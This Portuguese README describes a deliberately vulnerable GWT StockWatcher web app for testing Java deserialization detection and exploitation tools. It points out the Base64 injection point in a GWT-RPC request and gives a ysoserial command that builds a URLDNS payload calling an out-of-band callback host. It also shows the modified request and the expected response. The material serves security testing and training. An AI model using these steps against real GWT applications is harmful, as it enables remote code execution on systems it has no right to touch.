
Uma aplicação web baseada em GWT intencionalmente vulnerável para testar ferramentas e técnicas
Esta é uma versão do aplicativo de exemplo StockWatcher descrito no guia de introdução ao GWT que foi modificada para usar o recurso de "enhanced classes" do GWT, tornando-a vulnerável a um ataque de desserialização Java. Ela deve ser usada somente para testar ferramentas de detecção e exploração. Enhanced classes são comumente usadas em aplicativos reais baseados em GWT, mas, até a publicação deste exemplo, não havia aplicativos web de código aberto fáceis de localizar que profissionais de segurança pudessem usar para validar suas ferramentas e procedimentos.
Para executar o aplicativo web, você precisará de um sistema Linux com as seguintes ferramentas:
openjdk-11-jreant (instale usando o gerenciador de pacotes da sua distribuição)O aplicativo requer vários arquivos JAR grandes demais para serem incluídos diretamente no controle de origem do GitHub, portanto, a maneira mais fácil de começar é baixar o pacote mais recente da página de lançamentos e descompactá-lo.
Depois de descompactar o lançamento, edite esta linha no build.xml para substituir /home/user/GWT/gwt-2.10.0 pelo diretório do seu GWT SDK:
No diretório do código-fonte, execute os seguintes comandos:
ant build
ant devmode
Isso iniciará o aplicativo web vulnerável e o tornará acessível em http://127.0.0.1:8888/StockWatcher.html.
Observe que, se você estiver encaminhando tráfego para o serviço local para torná-lo acessível remotamente, também deverá encaminhar a porta 9876 além da porta 8888.
Se você quiser clonar este repositório e executar o aplicativo sem baixar um lançamento, precisará baixar e adicionar os seguintes arquivos JAR de terceiros ao diretório lib após cloná-lo:
Você também precisará copiar os seguintes arquivos JAR do GWT do seu diretório GWT (por exemplo, gwt-2.10.0/) para o diretório lib deste aplicativo vulnerável:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarDepois de copiar todos esses arquivos JAR, execute as demais etapas da seção de início rápido, acima.
Usando um navegador web configurado para se conectar por meio de um proxy de interceptação (como o Burp Suite), carregue a URL http://127.0.0.1:8888/StockWatcher.html.
A página exibirá inicialmente uma mensagem de "compiling". Aguarde até que ela exiba este formulário básico:
![[ O aplicativo web StockWatcher exibindo um campo para adicionar um símbolo de ação ]](https://assets.kitploit.com/production/public/readmes/44640/58a69441d4dae3813a3b669e29072a70ee57947002bc10ec2f43528a4da05f41.png)
Digite uma string curta no campo, como BFOX, e clique no botão Add. A página deve começar a exibir atualizações aleatórias para o símbolo de ação simulado:
![[ O aplicativo web StockWatcher exibindo dados de preço simulados para o símbolo BFOX ]](https://assets.kitploit.com/production/public/readmes/44640/96dc586ced187bf93b3a75731af43ea541cbb7bf67981be3a5299b2a01b59bd2.png)
No histórico do seu proxy de interceptação, observe que seu navegador agora está enviando repetidamente solicitações POST para http://127.0.0.1:8888/stockwatcher/checkCustomClass1, semelhantes ao seguinte:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
Os dados binários codificados em Base64 rO0ABXcEAAAAAA== são um ponto de injeção vulnerável na solicitação. Para explorar o aplicativo web, você precisará gerar um payload de substituição. Por exemplo, para gerar um payload URLDNS usando a versão personalizada do ysoserial da Bishop Fox, você poderia executar o seguinte comando:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
Envie uma versão modificada da solicitação que substitua rO0ABXcEAAAAAA== pelo payload gerado, e o aplicativo vulnerável deverá desserializá-lo e acioná-lo. Além da ação que o payload causar, a resposta também deve incluir uma NoSuchFieldException relacionada ao nome do campo se o valor for desserializado, por exemplo, usando o nome bishopfox do exemplo acima:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
Se você usou o lançamento pré-compilado do aplicativo web vulnerável, ou adicionou manualmente todos os JARs mencionados acima a uma compilação personalizada, você deve (no mínimo) conseguir usar os seguintes payloads contra o aplicativo web:
No momento em que este texto foi escrito, a versão principal do ysoserial não oferecia suporte a saída formatada para GWT, portanto, certifique-se de usar o fork personalizado.